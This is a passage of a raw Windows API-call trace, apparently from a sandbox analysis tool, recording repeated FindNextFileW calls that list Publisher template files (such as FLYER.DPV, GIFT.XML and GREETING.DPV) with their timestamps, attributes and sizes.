ftCreationTime.dwLowDateTime=0x62f7200, ftCreationTime.dwHighDateTime=0x1c976e9, ftLastAccessTime.dwLowDateTime=0x60786a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62f7200, ftLastWriteTime.dwHighDateTime=0x1c976e9, nFileSizeHigh=0x0, nFileSizeLow=0xb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSTORYVERT.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573f000, ftCreationTime.dwHighDateTime=0x1c5d95e, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573f000, ftLastWriteTime.dwHighDateTime=0x1c5d95e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGTEAR.DPV", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0dd700, ftCreationTime.dwHighDateTime=0x1c68574, ftLastAccessTime.dwLowDateTime=0x607acbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef0dd700, ftLastWriteTime.dwHighDateTime=0x1c68574, nFileSizeHigh=0x0, nFileSizeLow=0xe50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGTOC.DPV", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd764d00, ftCreationTime.dwHighDateTime=0x1c91702, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd764d00, ftLastWriteTime.dwHighDateTime=0x1c91702, nFileSizeHigh=0x0, nFileSizeLow=0x1712, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGTOC.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149d5b00, ftCreationTime.dwHighDateTime=0x1c91702, ftLastAccessTime.dwLowDateTime=0x607acbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x149d5b00, ftLastWriteTime.dwHighDateTime=0x1c91702, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBAD.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaad500, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51df3bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9aaad500, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBBTN.DPV", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cf59600, ftCreationTime.dwHighDateTime=0x1c91702, ftLastAccessTime.dwLowDateTime=0x607acbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cf59600, ftLastWriteTime.dwHighDateTime=0x1c91702, nFileSizeHigh=0x0, nFileSizeLow=0x110e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBBTN.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af16e00, ftCreationTime.dwHighDateTime=0x1c6856e, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af16e00, ftLastWriteTime.dwHighDateTime=0x1c6856e, nFileSizeHigh=0x0, nFileSizeLow=0x301be, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBCAL.DPV", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22eb7700, ftCreationTime.dwHighDateTime=0x1c91702, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22eb7700, ftLastWriteTime.dwHighDateTime=0x1c91702, nFileSizeHigh=0x0, nFileSizeLow=0x1cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBCAL.XML", cAlternateFileName="")) returned 1 [0079.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4317bc00, ftCreationTime.dwHighDateTime=0x1c68573, ftLastAccessTime.dwLowDateTime=0x607acbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4317bc00, ftLastWriteTime.dwHighDateTime=0x1c68573, nFileSizeHigh=0x0, nFileSizeLow=0x2f814, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBHD.DPV", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a128500, ftCreationTime.dwHighDateTime=0x1c91702, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a128500, ftLastWriteTime.dwHighDateTime=0x1c91702, nFileSizeHigh=0x0, nFileSizeLow=0x1dbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBHD.XML", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438bc800, ftCreationTime.dwHighDateTime=0x1c6157c, ftLastAccessTime.dwLowDateTime=0x607acbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x438bc800, ftLastWriteTime.dwHighDateTime=0x1c6157c, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBPQT.DPV", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x326ac000, ftCreationTime.dwHighDateTime=0x1c91702, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x326ac000, ftLastWriteTime.dwHighDateTime=0x1c91702, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBPQT.XML", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67294800, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x607acbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67294800, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBREF.XML", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4495b400, ftCreationTime.dwHighDateTime=0x1c68574, ftLastAccessTime.dwLowDateTime=0x607acbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4495b400, ftLastWriteTime.dwHighDateTime=0x1c68574, nFileSizeHigh=0x0, nFileSizeLow=0x6df7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBSBR.DPV", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57a9ff00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57a9ff00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBSBR.XML", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d4dc00, ftCreationTime.dwHighDateTime=0x1c5d95e, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36d4dc00, ftLastWriteTime.dwHighDateTime=0x1c5d95e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGZIP.DPV", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8d1000, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8d1000, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGZIPC.XML", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe70900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fe70900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1c56, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOTS.POC", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21183600, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21183600, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x10c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDHM.POC", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18eb8500, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18eb8500, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x7dc55, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMAIL.DPV", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8393c00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8393c00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0xd066, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMAIL.XML", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa19e00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51f96af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2aa19e00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xbc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMAIL11.POC", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadcdd400, ftCreationTime.dwHighDateTime=0x1c513d0, ftLastAccessTime.dwLowDateTime=0x51f96af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadcdd400, ftLastWriteTime.dwHighDateTime=0x1c513d0, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMAILMOD.POC", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa19e00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2aa19e00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xc5fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENV11.POC", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d03f800, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d03f800, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x2a052, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENV98.POC", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d03f800, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d03f800, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x4af4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENV98SP.POC", cAlternateFileName="")) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1cb200, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1cb200, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x24efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DPV", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df38200, ftCreationTime.dwHighDateTime=0x1c9d396, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6df38200, ftLastWriteTime.dwHighDateTime=0x1c9d396, nFileSizeHigh=0x0, nFileSizeLow=0x30de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.XML", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d03f800, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d03f800, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x8a32, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVHM.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d03f800, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d03f800, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x0, cFileName="FEZIP.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e352500, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e352500, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xfd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLY98SP.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd64c00, ftCreationTime.dwHighDateTime=0x1c8f193, ftLastAccessTime.dwLowDateTime=0x52883d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3dd64c00, ftLastWriteTime.dwHighDateTime=0x1c8f193, nFileSizeHigh=0x0, nFileSizeLow=0x15369c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYER.DPV", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9709c00, ftCreationTime.dwHighDateTime=0x1ca5799, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9709c00, ftLastWriteTime.dwHighDateTime=0x1ca5799, nFileSizeHigh=0x0, nFileSizeLow=0x13d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYER.XML", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30977f00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30977f00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x369a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYER11.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db46e00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3db46e00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xe498e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYER98.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee59b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ee59b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xd988, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYERHM.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20129300, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20129300, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x56ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDPROJ.DPV", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2800, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2800, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x62c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDPROJ.XML", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a03000, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a03000, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x8c952, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM98.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a03000, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a03000, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMCTL.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a03000, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x52a00b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a03000, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FS3BOX.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1cb200, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1cb200, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0xb0c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFT.DPV", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe454bd00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe454bd00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x14c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFT.XML", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad15d00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x619f9510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad15d00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x22cf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFT98.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x591f7900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x591f7900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xd6314, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREET11.POC", cAlternateFileName="")) returned 1 [0079.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48212100, ftCreationTime.dwHighDateTime=0x1c5dbc8, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48212100, ftLastWriteTime.dwHighDateTime=0x1c5dbc8, nFileSizeHigh=0x0, nFileSizeLow=0x124b3b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREETING.DPV", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7d700, ftCreationTime.dwHighDateTime=0x1ca5794, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe7d700, ftLastWriteTime.dwHighDateTime=0x1ca5794, 